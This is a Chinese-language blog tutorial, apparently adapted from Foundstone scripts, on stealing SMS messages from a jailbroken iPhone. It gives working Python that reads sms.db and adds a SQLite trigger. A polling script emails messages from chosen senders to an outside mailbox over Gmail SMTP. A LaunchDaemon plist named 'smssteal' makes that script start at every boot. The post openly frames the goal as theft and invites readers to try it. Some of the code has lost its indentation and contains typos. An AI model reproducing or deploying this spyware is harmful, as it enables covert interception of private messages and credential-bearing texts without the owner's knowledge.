实验环境

1.iOS 5.1.1越狱设备

2. 通过cydia安装 python 2.7.3

3. 通过cydia安装SQLite 3.x

4. 通过Cydia安装adv-cmds

一、使用python脚本读取sms.db数据库中存储的短信内容

（1）sms.db，标准的SQLite 3格式,存储主要的短信数据

（2）sms.db-shm, "Associate File"

（3）sms.db-wal. “Write Ahead Log"

于是，我们可以使用strings命令查看一下这个文件里面的内容（strings命令在初步分析文件时很有用）

danimato-iPod:/var/mobile/Library/SMS root# strings sms.db >smsdb

打开smsdb文件，可以看到短信message表结构，如下所示

CREATE TABLE message (ROWID INTEGER PRIMARY KEY AUTOINCREMENT, address TEXT, date INTEGER, text TEXT, flags INTEGER, replace INTEGER, svc_center TEXT, group_id INTEGER,association_id INTEGER, height INTEGER, UIFlags INTEGER, version INTEGER, subject TEXT,country TEXT, headers BLOB, recipients BLOB, read INTEGER, madrid_attributedBody BLOB,madrid_handle TEXT, madrid_version INTEGER, madrid_guid TEXT, madrid_type INTEGER,madrid_roomname TEXT, madrid_service TEXT, madrid_account TEXT, madrid_account_guid TEXT,madrid_flags INTEGER, madrid_attachmentInfo BLOB, madrid_url TEXT, madrid_error INTEGER,is_madrid INTEGER, madrid_date_read INTEGER, madrid_date_delivered INTEGER)

我们可以使用python脚本smsDBQuer.py（注意：原脚本不支持中文，需要改变一下）来查询一下该表中的数据，如下所示输出未读短信数量及内容

#!/usr/bin/python
# smstest.py
# by KrishnaChaitanya Yarramsetty
# www.foundstone.com

import sqlite3 as lite
import sys
import smtplib

smspath="/var/mobile/Library/SMS/"

con = lite.connect(smspath+'sms.db')
msg=""

with con:
con.row_factory = lite.Row
cur = con.cursor()
cur.execute('SELECT text，adderss from message where read=0 order by date desc')
rows = cur.fetchall()
#data = cur.fetchone()
counter=0
print "Latest displayed first"
for row in rows:
counter+=1
print "Unread Message: %s" % counter

textencode = row["text"].encode('gb2312')
print "Text: %s" % textencode

addressdecode = row["address"].encode('gb2312')
print "Address: %s" % addressdecode
#print "Text: %s" % row["text"]
msg=row["text"]

我们将smsDBQuery.py脚本上传到设备/var/mobile/Library/SMS/目录下

danimato-iPod:/var/mobile/Library/SMS root# chmod +x smsDBQuery.py

danimato-iPod:/var/mobile/Library/SMS root# python smsDBQuery.py

运行结果如下：

二、窃取iPhone短信信息

接下来演示如何将iPhone上短信信息转发到指定邮箱中

1. smsCreateTrigger.py脚本

#!/usr/bin/python
# smstrigger.py
# by KrishnaChaitanya Yarramsetty
# www.foundstone.com

import sqlite3 as lite
import sys

smspath="/var/mobile/Library/SMS/"

con = lite.connect(smspath + 'sms.db')

with con:
con.row_factory = lite.Row
cur = con.cursor()

#cur.execute('DROP TABLE message2;')
#cur.execute('DROP TRIGGER insert_newest_message_email;')
cur.execute('CREATE TABLE message2 (ROWID INTEGER PRIMARY KEY, address TEXT, date INTEGER, text TEXT, emailsent INTEGER);')
cur.execute('CREATE TRIGGER insert_newest_message_email AFTER INSERT ON message WHEN new.ROWID >= 0 BEGIN INSERT INTO "message2" select ROWID,address,date,text,0 from message where ROWID=new.ROWID; END;')
print 'Done.'

我们将smsCreateTrigger.py上传到设备/var/mobile/Library/SMS/目录下，修改执行权限，并运行

danimato-iPod:/var/mobile/Library/SMS root# chmod +x smsCreateTrigger.py

danimato-iPod:/var/mobile/Library/SMS root# python smsCreateTrigger.py 
Done.

该脚本的功能是当message表有记录增加时，将新增记录插入新创建的message2表中

2.smsWatcher.py 脚本

#!/usr/bin/python
# smsread.py 
# by KrishnaChaitanya Yarramsetty
# www.foundstone.com

import sqlite3 as lite
import sys
import smtplib
import time

def sendEmail(msg):
fromaddr = 'abc@gmail.com'
toaddrs = 'xyz@gmail.com'

# Credentials 
username = 'abc'
password = '****'

# The actual mail send snippet
server = smtplib.SMTP('smtp.gmail.com:587')
server.starttls()
server.login(username,password)
server.sendmail(fromaddr, toaddrs, msg)
server.quit()

#Set path for SMS directory
#smsfromaddress will be used a filter. filter restricts only to those sms that have FROM address as mentioned below. FROM addresses can be multiple as well.
#"address" is the column name.

smspath="/var/mobile/Library/SMS/"
smsfromaddress=('AXARWINF','6564567890',)

#Poll for any new messages waiting to be delivered in an infinite loop with 60 second interval. 
#though it is not one of the efficient methods, considering the purpose of the script it was taken for granted

while 1==1:
#Connect to the database and read sms from 'message2' table.
con = lite.connect(smspath+'sms.db')
with con:
con.row_factory = lite.Row
cur = con.cursor()
cur2 = con.cursor()
cur.execute('SELECT * from message2 where emailsent=0 and address=?',smsfromaddress)
rows = cur.fetchall()
for row in rows:
msg='Address is ' + row["address"] + ' Text Message is ' + row["text"].encode('gb2312') 
sendEmail(msg)
ROWID = (row["ROWID"],)
cur2.execute('UPDATE message2 SET emailsent=1 WHERE ROWID=?', ROWID)
con.commit()
time.sleep(60)

该脚本的功能是将messge2表中指定短信发送到指定邮箱中，我们需要修改脚本中用来接收SMS短信的邮箱相关信息

fromaddr = 'danqingdani@gmail.com' #发件人地址
toaddrs = '335451997@qq.com' #收件人地址

username = 'danqingdani@gmail.com' #发件人邮箱名
password = '****'#发件人邮箱密码

server = smtplib.SMTP('smtp.gmail.com:587')#发件邮件服务器

smsfromaddress=('AXARWINF','6564567890',)#指定你想窃取的短信来自哪里

上传smsWatcher.py到设备/var/mobile/Library/SMS/目录下，修改执行权限，并在后台运行

danimato-iPod:/var/mobile/Library/SMS root# chmod +x smsWatcher.py 
danimato-iPod:/var/mobile/Library/SMS root# python smsWatcher.py &
[1] 4819

当运行上面两个脚本的iPhone有新的短信信息时，短信内容就会发送到你指定的邮箱中去了

3.设置脚本开机自动启动

上述脚本如果要常驻系统，开机自动启动，需要做以下设置，首先在/var/mobile/Library/SMS目录下编写一个bash脚本启动smsWatcher.py

danimato-iPod:/var/mobile/Library/SMS root# cat smsWatcher
#!/bin/bash
python /var/mobile/Library/SMS/smsWatcher.py

danimato-iPod:/var/mobile/Library/SMS root# cat smsWatcher
danimato-iPod:/var/mobile/Library/SMS root# chmod +x smsWatcher

然后在/System/Library/LaunchDaemons目录下编写一个plist配置文件，配置开机自动启动

danimato-iPod:/System/Library/LaunchDaemons root# cat com.dani.smssteal.plist 
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN""http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.dani.smssteal</string>
<key>Program</key>
<string>/var/mobile/Library/SMS/smsWatcher</string>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>

danimato-iPod:/System/Library/LaunchDaemons root# launchctl load/System/Library/LaunchDaemons/com.dani.smssteal.plist

有iPhone的朋友可以试一试，欢迎交流

参考资料：

http://blog.opensecurityresearch.com/2013/02/forwarding-sms-to-email-on-jailbroken.html